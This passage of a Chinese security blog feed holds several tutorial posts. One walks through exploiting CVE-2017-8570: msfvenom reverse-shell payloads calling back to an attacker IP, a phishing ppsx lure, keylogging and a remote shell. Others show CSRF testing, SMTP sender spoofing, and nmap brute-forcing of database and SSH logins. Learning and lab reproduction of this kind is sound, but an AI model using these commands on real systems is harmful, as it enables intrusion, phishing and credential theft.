title="生成反弹shell 的 exe 文件"></a>生成反弹shell 的 exe 文件</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.103 LPORT=6666 -f exe > shell.exe</div></pre></td></tr></table></figure><p><code>LHOST</code>是攻击者的<code>ip</code>,<code>LPORT</code>这里设置的是监听本机的<code>6666</code>端口<br><img src="http://i4.nbimg.com/595241/f56d353f1f7d3e16.png" alt="Markdown"><br>这里注意 当攻击目标为<code>64</code>位的操作系统的时候,生成的exe得改为:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.103 LPORT=6666 -f exe > shell.exe</div></pre></td></tr></table></figure></p><h1 id="监听会话"><a href="#监听会话" class="headerlink" title="监听会话"></a>监听会话</h1><h2 id="监听来自-ppsx-执行反弹-shel"><a href="#监听来自-ppsx-执行反弹-shel" class="headerlink" title="监听来自 ppsx 执行反弹 shel"></a>监听来自 ppsx 执行反弹 shel</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">python cve-2017-8570_toolkit.py -M exp -e http://10.0.0.103/shell.exe -l shell.exe</div></pre></td></tr></table></figure><p><img src="http://i4.nbimg.com/595241/e5ef4fad40dfb664.png" alt="Markdown"><br>一开始我这边由于没有切换到<code>root</code>用户导致 权限被拒绝,<code>su</code>切换到<code>root</code>用户解决问题。</p><h2 id="msf-的监听"><a href="#msf-的监听" class="headerlink" title="msf 的监听"></a>msf 的监听</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line">~ msfconsole</div><div class="line"></div><div class="line">msf > use exploit/multi/handler</div><div class="line"></div><div class="line">msf > set LHOST 10.0.0.103</div><div class="line"></div><div class="line">msf > set LPORT 6666</div><div class="line"></div><div class="line">msf > set PAYLOAD windows/meterpreter/reverse_tcp</div><div class="line"></div><div class="line">msf > exploit</div></pre></td></tr></table></figure><p>同样,这里攻击<code>64</code>位操作系统的时候,得做出如下的调整:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp</div></pre></td></tr></table></figure></p><h1 id="钓鱼攻击"><a href="#钓鱼攻击" class="headerlink" title="钓鱼攻击"></a>钓鱼攻击</h1><p>将生成的恶意 <code>Invoice.ppsx</code> 文件重命名为:<code>2017showgirl联系方式.ppsx</code> 复制到目标靶机 <code>windows7</code>系统。<br><img src="http://i1.nbimg.com/595241/3a0eb3931503a8f5.png" alt="Markdown"><br>然后目标一不小心点开了这个ppt文件的时候:<br>即可在 MSF 反弹 metertprter 的 shell 出来:<br><img src="http://i1.nbimg.com/595241/247d4e829cbbf810.png" alt="Markdown"> </p><h1 id="后续渗透"><a href="#后续渗透" class="headerlink" title="后续渗透"></a>后续渗透</h1><h2 id="截图"><a href="#截图" class="headerlink" title="截图"></a>截图</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">meterpreter > screenshot</div><div class="line">Screenshot saved to: /home/ctf/ccoDxgvg.jpeg</div></pre></td></tr></table></figure><p><img src="http://i1.nbimg.com/595241/ea616d7014330a53.png" alt="Markdown"><br>正在看b站小姐姐视频~~</p><h2 id="键盘记录"><a href="#键盘记录" class="headerlink" title="键盘记录"></a>键盘记录</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line">meterpreter > keyscan_start # 开启键盘记录</div><div class="line">Starting the keystroke sniffer...</div><div class="line"></div><div class="line">meterpreter > keyscan_dump #查看键盘记录内容</div><div class="line">Dumping captured keystrokes...</div><div class="line"></div><div class="line">**</div><div class="line">-[ C:\soft\SogouExplorer\SogouExplorer.exe</div><div class="line">-[ @ 2017年8月13日 4:07:31 UTC</div><div class="line">**</div><div class="line"><Shift>xiaojiejie <Shift>chain<^H><^H><^H>inajoy<CR></div><div class="line"></div><div class="line">meterpreter > keyscan_stop #关闭键盘记录</div></pre></td></tr></table></figure><p>可以看到win7的主人在搜狗浏览器中输入了如下内容:<code>xiao jie jie chinajoy</code><br>这里面的<code><^H></code> 是删除键 <code><CR></code>是 回车键</p><h2 id="上传文件"><a href="#上传文件" class="headerlink" title="上传文件"></a>上传文件</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">meterpreter > upload /home/ctf/Desktop/快别看小姐姐了你被黑啦.txt C:\\users\\gg\\Desktop</div></pre></td></tr></table></figure><p>把我们的友情提示上传到win7系统主人的 电脑桌面上<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">ctf@guoguang:~/Desktop$ cat 快别看小姐姐了你被黑啦.txt </div><div class="line">整天不是逛B站 就是 逛A站</div><div class="line">除了看小姐姐 还是看小姐姐!~~</div><div class="line">(严肃脸)我只想对你说 4个字:</div><div class="line">请带上我</div><div class="line">meterpreter > upload /home/ctf/Desktop/快别看小姐姐了你被黑啦.txt C:\\users\\gg\\Desktop</div><div class="line">[*] uploading : home/ctf/Desktop/快别看小姐姐了你被黑啦.txt -> C:\users\gg\Desktop</div><div class="line">[*] uploaded : home/ctf/Desktop/快别看小姐姐了你被黑啦.txt -> C:\users\gg\Desktop\快别看小姐姐了你被黑啦.txt</div></pre></td></tr></table></figure></p><h2 id="shell"><a href="#shell" class="headerlink" title="shell"></a>shell</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">meterpreter > shell</div></pre></td></tr></table></figure><p><code>shell</code> 顾名思义就是<code>shell</code>了,这个命令相当于完全控制了windows的cmd命令行,可以执行任意cmd操作,当然只要权限足够大的话。</p><h1 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h1><ul><li>及时安装微软2017年7月发布的最新补丁</li><li>经得住诱惑,不打开来历不明的office文件<br>如果没有打补丁的话,其实还有一直比较稳妥的打开PPT的方法,就是 <code>不用 双击</code> 打开PPT,打开PPT直接拖动打开 是不会触发运行<code>exe</code>程序的:<br>如下图:<br><img src="http://i1.nbimg.com/595241/5eb5999885f6f0d4.gif" alt="Markdown"> </li></ul>]]></content>
<summary type="html">
<p><img src="http://i1.nbimg.com/595241/a11ee6367b9f55ea.png" alt="Markdown"><br>简单的漏洞复现,主要是科普metasploit,以后会更新metasploit深入的文章~<br>
</summary>
<category term="黑客" scheme="http://www.sqlsec.com/categories/%E9%BB%91%E5%AE%A2/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
<category term="漏洞" scheme="http://www.sqlsec.com/tags/%E6%BC%8F%E6%B4%9E/"/>
<category term="CSRF" scheme="http://www.sqlsec.com/tags/CSRF/"/>
</entry>
<entry>
<title>POST型CSRF简单复现</title>
<link href="http://www.sqlsec.com/2017/08/postcsrf.html"/>
<id>http://www.sqlsec.com/2017/08/postcsrf.html</id>
<published>2017-08-06T15:41:15.000Z</published>
<updated>2017-08-06T15:43:13.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://i1.bvimg.com/595241/954e1efbc2cc0219.png" alt="Markdown"><br>最简单的POST型CSRF,只做入门参考文章,日后会进一步更新相关深入的文章。<br><a id="more"></a></p><h1 id="POST型CSRF简介"><a href="#POST型CSRF简介" class="headerlink" title="POST型CSRF简介"></a>POST型CSRF简介</h1><p>这种类型的CSRF危害没有GET型的大,利用起来通常使用的是一个自动提交的表单。<br>访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作。</p><h1 id="抓包生成CSRF-POC"><a href="#抓包生成CSRF-POC" class="headerlink" title="抓包生成CSRF POC"></a>抓包生成CSRF POC</h1><p><img src="http://i2.tiimg.com/595241/8bdad5ed7f54f4a1.png" alt="Markdown"><br>用管理员账号登录一个存在<code>CSRF</code>漏洞的管理系统,来进行信息添加。然后用<code>BurpSuite</code>抓取提交的数据包。<br><img src="http://i2.tiimg.com/595241/45cc5b210809ba7c.png" alt="Markdown"><br>右键 使用<code>BurpSuite</code>自带的生成工具生成<code>CSRF POC</code><br>这个时候把刚刚管理员正常操作的数据包<code>Forward</code>发出去。<br><img src="http://i2.tiimg.com/595241/a753a475b4f32d19.png" alt="Markdown"><br>在 <code>CSRF PoC生成器</code>的窗口中<br>我们可以修改这个表达里的内容,然后来测试CSRF是否存在。可以直接在浏览器中测试,也可以保存表单在本地的HTML文件中来测试。<br><img src="http://i2.tiimg.com/595241/cff14a75e18caf1e.png" alt="Markdown"> </p><h1 id="修改表单内容"><a href="#修改表单内容" class="headerlink" title="修改表单内容"></a>修改表单内容</h1><p>我们这里使用保存到本地的<code>HTML</code>文件来测试CSRF。<br>修改表单中<code>content</code>内容的值为:<code>This is CSRF Test by hacker</code><br><img src="http://i2.tiimg.com/595241/a8a2f52d44dd4fa6.png" alt="Markdown"><br>现在如果管理员打开了这个表单,并且提交数据的话,如果存在CSRF漏洞,那么我们修改后的表单内容应该是可以正常提交的。</p><h1 id="管理员触发表单"><a href="#管理员触发表单" class="headerlink" title="管理员触发表单"></a>管理员触发表单</h1><p>为了模拟管理员触发这个表单,我们用已经登录这个校园管理系统的浏览器来打开这个<code>HTML</code>表单。<br><img src="http://ombgvjpli.bkt.clouddn.com/1.png" alt="Markdown"><br>点击<code>提交请求</code>。<br><img src="http://i2.tiimg.com/595241/f1a2823ab1d6974b.png" alt="Markdown"><br>可以看到修改后的表单内容也被提交了。<br>至此,一个简单入门级别的CSRF漏洞就触发成功了。</p>]]></content>
<summary type="html">
<p><img src="http://i1.bvimg.com/595241/954e1efbc2cc0219.png" alt="Markdown"><br>最简单的POST型CSRF,只做入门参考文章,日后会进一步更新相关深入的文章。<br>
</summary>
<category term="黑客" scheme="http://www.sqlsec.com/categories/%E9%BB%91%E5%AE%A2/"/>
<category term="漏洞" scheme="http://www.sqlsec.com/tags/%E6%BC%8F%E6%B4%9E/"/>
<category term="CSRF" scheme="http://www.sqlsec.com/tags/CSRF/"/>
</entry>
<entry>
<title>SMTP协议25端口渗透测试记录</title>
<link href="http://www.sqlsec.com/2017/08/smtp.html"/>
<id>http://www.sqlsec.com/2017/08/smtp.html</id>
<published>2017-08-06T07:34:26.044Z</published>
<updated>2017-09-30T03:57:27.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://i1.bvimg.com/595241/4a56f032055c3ffd.png" alt="Markdown"><br>记录了最底层的邮件伪造漏洞的复现。<br><a id="more"></a></p><h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>SMTP 为邮件协讫,默认端口 25。经常用来邮箱伪造,钓鱼攻击。<br>迓有流行癿 SMTP 账号信息泄露。如 github,oschina 上癿源码托管中癿信息泄露。</p><h1 id="建立TCP连接"><a href="#建立TCP连接" class="headerlink" title="建立TCP连接"></a>建立TCP连接</h1><p>知道了邮件服务器的地址,就可以与它建立 TCP 连接了。SMTP 协议的默认端口是25。使用 Telnet 或 Netcat 命令,都可以连接该端口。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">$ telnet xxxx.com 25 #widnows下测试</div><div class="line"># 或者</div><div class="line">$ nc xxxxx.com 25 #Linux下测试</div></pre></td></tr></table></figure></p><p>服务器返回220状态码,就表示连接成功。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">220 MAIL-SERVER Winmail Mail Server ESMTP ready</div></pre></td></tr></table></figure></p><p>接下来,就可以使用 SMTP 协议的各种命令与邮件服务器交互了。</p><h1 id="HELO-命令和-EHLO-命令"><a href="#HELO-命令和-EHLO-命令" class="headerlink" title="HELO 命令和 EHLO 命令"></a>HELO 命令和 EHLO 命令</h1><p>SMTP 协议规定,连接成功后,必须向邮件服务器提供连接的域名,也就是邮件将从哪台服务器发来。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">HELO xxxx.com</div></pre></td></tr></table></figure></p><p>邮件服务器返回状态码250,表示响应成功。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">250 MAIL-SERVER Winmail Mail Server</div></pre></td></tr></table></figure></p><p><code>HELO</code>命令现在比较少用,一般都使用<code>EHLO</code>命令。<br>邮件服务器收到<code>EHLO</code>命令以后,不仅会返回<code>250</code>状态码,还会返回自己支持的<code>各种扩展的列表</code>。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">250-MAIL-SERVER Winmail Mail Server</div><div class="line">250-AUTH LOGIN PLAIN</div><div class="line">250-SIZE 20971520</div><div class="line">250 8BITMIME</div></pre></td></tr></table></figure></p><h1 id="MAIL-FROM-命令"><a href="#MAIL-FROM-命令" class="headerlink" title="MAIL FROM 命令"></a>MAIL FROM 命令</h1><p>连接者要使用MAIL FROM命令,向邮件服务器提供邮件的来源邮箱<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">MAIL FROM:[email protected] #伪造管理员身份来发邮件</div></pre></td></tr></table></figure></p><p>上面代码表示,连接者将从<code>[email protected]</code>向邮件服务器发送邮件。邮件服务器返回<code>250</code>状态码,表示响应成功。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">250 ok</div></pre></td></tr></table></figure></p><h1 id="RCPT-TO-命令"><a href="#RCPT-TO-命令" class="headerlink" title="RCPT TO 命令"></a>RCPT TO 命令</h1><p>使用RCPT TO命令,验证邮件地址是否存在。如果查询的是一个真实的 Email 地址,邮件服务器就会返回<code>250</code>状态码。验证邮箱存在的话,还可以给这个接受者邮箱发送邮件。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">RCPT TO:[email protected]</div><div class="line">250 ok</div></pre></td></tr></table></figure></p><p>一般来说,状态码 250 和 251 都表示邮箱存在,状态码 5xx 表示不存在,神马影院其他状态码(主要是 4xx)则代表无法确认。</p><h1 id="DATA-伪造邮箱数据"><a href="#DATA-伪造邮箱数据" class="headerlink" title="DATA 伪造邮箱数据"></a>DATA 伪造邮箱数据</h1><p>使用DATA命令来伪造邮箱内容,客户端告诉服务器自己准备发送邮件正文<br>服务器返回354,表示自己已经作好接受邮件的准备<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">DATA</div><div class="line">354 go ahead, end data with CRLF.CRLF</div></pre></td></tr></table></figure></p><h1 id="输入邮件伪造正文"><a href="#输入邮件伪造正文" class="headerlink" title="输入邮件伪造正文"></a>输入邮件伪造正文</h1><p>用<code>英文状态的双引号</code>来修饰正文,正文结束后,发送结束符<code>.</code>表明正文的结束。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">"这是一个邮件伪造测试"</div><div class="line">.</div><div class="line">250 ok message accepted for delivery</div></pre></td></tr></table></figure></p><p>如果合理,服务端返回250表示成功</p><h1 id="退出TCP连接"><a href="#退出TCP连接" class="headerlink" title="退出TCP连接"></a>退出TCP连接</h1><p>邮件发送结束,客户端请求断开连接后,使用<code>QUIT</code>命令关闭 TCP 连接。<br>服务器返回<code>211</code>,提示断开申请被采纳,并主动断开连接,整个邮件发送过程结束。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">QUIT</div><div class="line">221 MAIL-SERVER Winmail Mail Server</div><div class="line">Connection closed by foreign host.</div></pre></td></tr></table></figure></p><h1 id="完整的流程图"><a href="#完整的流程图" class="headerlink" title="完整的流程图"></a>完整的流程图</h1><p><img src="http://i1.ciimg.com/595241/c888990797ac01ec.png" alt="Markdown"> </p>]]></content>
<summary type="html">
<p><img src="http://i1.bvimg.com/595241/4a56f032055c3ffd.png" alt="Markdown"><br>记录了最底层的邮件伪造漏洞的复现。<br>
</summary>
<category term="黑客" scheme="http://www.sqlsec.com/categories/%E9%BB%91%E5%AE%A2/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
<category term="端口渗透" scheme="http://www.sqlsec.com/tags/%E7%AB%AF%E5%8F%A3%E6%B8%97%E9%80%8F/"/>
<category term="SMTP" scheme="http://www.sqlsec.com/tags/SMTP/"/>
<category term="邮件伪造" scheme="http://www.sqlsec.com/tags/%E9%82%AE%E4%BB%B6%E4%BC%AA%E9%80%A0/"/>
</entry>
<entry>
<title>nmap不老的神器</title>
<link href="http://www.sqlsec.com/2017/07/nmap.html"/>
<id>http://www.sqlsec.com/2017/07/nmap.html</id>
<published>2017-07-24T22:50:50.612Z</published>
<updated>2017-09-30T03:57:41.000Z</updated>
<content type="html">< </div><div class="line">## 命令混合式扫描</div><div class="line">命令混合扫描,可以做到类似参数-A所完成的功能,但又能细化到我们所需特殊要求。所以一般高手选择这个混合扫描</div></pre></td></tr></table></figure></p><p>nmap -vv -p1-100,3306,3389 -O -traceroute 10.130.1.43<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">这些参数都是可以灵活调用的,具体根据具体的扫描来使用各个参数。 </div><div class="line"></div></pre></td></tr></table></figure></p><p>nmap -p1-65535 -sV -sS -T4 10.130.1.134<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">使`SYN`扫描,并进行Version版本检测 使用T4(aggressive)的时间模板对目标ip的全端口进行扫描。</div><div class="line"></div><div class="line">## 输出格式</div><div class="line">扫描的结果输出到屏幕,同时会存储一份到grep-output.txt</div></pre></td></tr></table></figure></p><p>nmap -sV -p 139,445 -oG grep-output.txt 10.0.1.0/24<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">扫描结果输出为html</div></pre></td></tr></table></figure></p><p>nmap -sS -sV -T5 10.0.1.99 –webxml -oX - | xsltproc –output file.html<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"></div><div class="line"># nmap高级用法之脚本使用</div><div class="line">## 按照脚本分类进行扫描</div></pre></td></tr></table></figure></p><p>nmap –script 类别<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line">nmap官方脚本文档: [https://nmap.org/nsedoc/](https://nmap.org/nsedoc/) </div><div class="line"> </div><div class="line">左侧列出了脚本的分类,点击分类 可以看到每一个分类下有很多具体的脚本供我们使用。</div><div class="line">`nmap --script=类别`这里的类别,可以填写下面14大分类中的其中之一,也可以填写分类里面的具体漏洞扫描脚本。</div><div class="line">nmap脚本分类:</div><div class="line">```ruby</div><div class="line">- auth: 负责处理鉴权证书(绕开鉴权)的脚本 </div><div class="line">- broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务 </div><div class="line">- brute: 提供暴力破解方式,针对常见的应用如http/snmp等 </div><div class="line">- default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力 </div><div class="line">- discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等 </div><div class="line">- dos: 用于进行拒绝服务攻击 </div><div class="line">- exploit: 利用已知的漏洞入侵系统 </div><div class="line">- external: 利用第三方的数据库或资源,例如进行whois解析 </div><div class="line">- fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 </div><div class="line">- intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽</div><div class="line">- malware: 探测目标机是否感染了病毒、开启了后门等信息 </div><div class="line">- safe: 此类与intrusive相反,属于安全性脚本 </div><div class="line">- version: 负责增强服务与版本扫描(Version Detection)功能的脚本 </div><div class="line">- vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067</div></pre></td></tr></table></figure></p><h2 id="使用具体脚本进行扫描"><a href="#使用具体脚本进行扫描" class="headerlink" title="使用具体脚本进行扫描"></a>使用具体脚本进行扫描</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">nmap --script 具体的脚本 www.baidu.com</div></pre></td></tr></table></figure><h2 id="常用脚本使用案例"><a href="#常用脚本使用案例" class="headerlink" title="常用脚本使用案例"></a>常用脚本使用案例</h2><h3 id="扫描服务器的常见漏洞"><a href="#扫描服务器的常见漏洞" class="headerlink" title="扫描服务器的常见漏洞"></a>扫描服务器的常见漏洞</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">nmap --script vuln <target></div></pre></td></tr></table></figure><h3 id="检查FTP是否开启匿名登陆"><a href="#检查FTP是否开启匿名登陆" class="headerlink" title="检查FTP是否开启匿名登陆"></a>检查FTP是否开启匿名登陆</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line">nmap --script ftp-anon <target></div><div class="line">PORT STATE SERVICE</div><div class="line">21/tcp open ftp</div><div class="line">| ftp-anon: Anonymous FTP login allowed (FTP code 230)</div><div class="line">| -rw-r--r-- 1 1170 924 31 Mar 28 2001 .banner</div><div class="line">| d--x--x--x 2 root root 1024 Jan 14 2002 bin</div><div class="line">| d--x--x--x 2 root root 1024 Aug 10 1999 etc</div><div class="line">| drwxr-srwt 2 1170 924 2048 Jul 19 18:48 incoming [NSE: writeable]</div><div class="line">| d--x--x--x 2 root root 1024 Jan 14 2002 lib</div><div class="line">| drwxr-sr-x 2 1170 924 1024 Aug 5 2004 pub</div><div class="line">|_Only 6 shown. Use --script-args ftp-anon.maxlist=-1 to see all.</div></pre></td></tr></table></figure><h3 id="对MySQL进行暴破解"><a href="#对MySQL进行暴破解" class="headerlink" title="对MySQL进行暴破解"></a>对MySQL进行暴破解</h3><figure class="highlight r"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">nmap --script=mysql-brute <target></div><div class="line"><span class="number">3306</span>/tcp open mysql</div><div class="line">| mysql-brute:</div><div class="line">| Accounts</div><div class="line">| root:root - Valid credentials</div></pre></td></tr></table></figure><p><img src="http://image.3001.net/2017/07/5bb8e360090ff1da26b303ecf7d5e69e2.png" alt=""><br>可以看出已经暴力成功破解了MySQL,在368秒内进行45061次猜测,平均TPS为146.5。</p><h3 id="对MsSQL进行暴破解"><a href="#对MsSQL进行暴破解" class="headerlink" title="对MsSQL进行暴破解"></a>对MsSQL进行暴破解</h3><figure class="highlight r"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line">nmap -p <span class="number">1433</span> --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt <host></div><div class="line">| ms-sql-brute:</div><div class="line">| [<span class="number">192.168</span><span class="number">.100</span><span class="number">.128</span>\TEST]</div><div class="line">| No credentials found</div><div class="line">| Warnings:</div><div class="line">| sa: AccountLockedOut</div><div class="line">| [<span class="number">192.168</span><span class="number">.100</span><span class="number">.128</span>\PROD]</div><div class="line">| Credentials found:</div><div class="line">| webshop_reader:secret => Login Success</div><div class="line">| testuser:secret1234 => PasswordMustChange</div><div class="line">|_ lordvader:secret1234 => Login Success</div></pre></td></tr></table></figure><h3 id="对Oracle数据库进行暴破解"><a href="#对Oracle数据库进行暴破解" class="headerlink" title="对Oracle数据库进行暴破解"></a>对Oracle数据库进行暴破解</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line">nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL <host></div><div class="line">PORT STATE SERVICE REASON</div><div class="line">1521/tcp open oracle syn-ack</div><div class="line">| oracle-brute:</div><div class="line">| Accounts</div><div class="line">| system:powell => Account locked</div><div class="line">| haxxor:haxxor => Valid credentials</div><div class="line">| Statistics</div><div class="line">|_ Perfomed 157 guesses in 8 seconds, average tps: 19</div></pre></td></tr></table></figure><h3 id="对pgSQL的暴力破解"><a href="#对pgSQL的暴力破解" class="headerlink" title="对pgSQL的暴力破解"></a>对pgSQL的暴力破解</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">nmap -p 5432 --script pgsql-brute <host></div><div class="line">5432/tcp open pgsql</div><div class="line">| pgsql-brute:</div><div class="line">| root:<empty> => Valid credentials</div><div class="line">|_ test:test => Valid credentials</div></pre></td></tr></table></figure><h3 id="对SSH进行暴力破解"><a href="#对SSH进行暴力破解" class="headerlink" title="对SSH进行暴力破解"></a>对SSH进行暴力破解</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">nmap -p 22 --script ssh-brute --script-args userdb=users.lst,passdb=pass.lst --script-args ssh-brute.timeout=4s <target></div><div class="line">22/ssh open ssh</div><div class="line">| ssh-brute:</div><div class="line">| Accounts</div><div class="line">| username:password</div><div class="line">| Statistics</div><div class="line">|_ Performed 32 guesses in 25 seconds.</div></pre></td></tr></table></figure><h3 id="利用DNS进行子域名暴力破解"><a href="#利用DNS进行子域名暴力破解" class="headerlink" title="利用DNS进行子域名暴力破解"></a>利用DNS进行子域名暴力破解</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div></pre></td><td class="code"><pre><div class="line">nmap --script dns-brute www.baidu.com</div><div class="line">λ nmap --script dns-brute www.baidu.com </div><div class="line"> </div><div class="line">Starting Nmap 7.50 ( https://nmap.org ) at 2017-07-25 13:12 ?</div><div class="line">Nmap scan report for www.baidu.com (180.97.33.108) </div><div class="line">Host is up (0.018s latency). </div><div class="line">Other addresses for www.baidu.com (not scanned): 180.97.33.10</div><div class="line">Not shown: 998 filtered ports </div><div class="line">PORT STATE SERVICE </div><div class="line">80/tcp open http </div><div class="line">443/tcp open https </div><div class="line"> </div><div class="line">Host script results: </div><div class="line">| dns-brute: </div><div class="line">| DNS Brute-force hostnames: </div><div class="line">| admin.baidu.com - 10.26.109.19 </div><div class="line">| mx.baidu.com - 61.135.163.61 </div><div class="line">| svn.baidu.com - 10.65.211.174 </div><div class="line">| ads.baidu.com - 10.42.4.225 </div><div class="line"> </div><div class="line">Nmap done: 1 IP address (1 host up) scanned in 92.64 seconds</div></pre></td></tr></table></figure><p><img src="http://image.3001.net/2017/07/45502ec7e0f8a0c49ca64b866248819c2.png" alt=""><br>额(⊙﹏⊙) 这个<code>admin.baidu.com</code>后面那个<code>10.26.109.19</code>难道真的是百度内网的管理平台地址?</p><h3 id="检查VMWare-ESX,ESXi和服务器(CVE-2009-3733)中的路径遍历漏洞"><a href="#检查VMWare-ESX,ESXi和服务器(CVE-2009-3733)中的路径遍历漏洞" class="headerlink" title="检查VMWare ESX,ESXi和服务器(CVE-2009-3733)中的路径遍历漏洞"></a>检查VMWare ESX,ESXi和服务器(CVE-2009-3733)中的路径遍历漏洞</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div 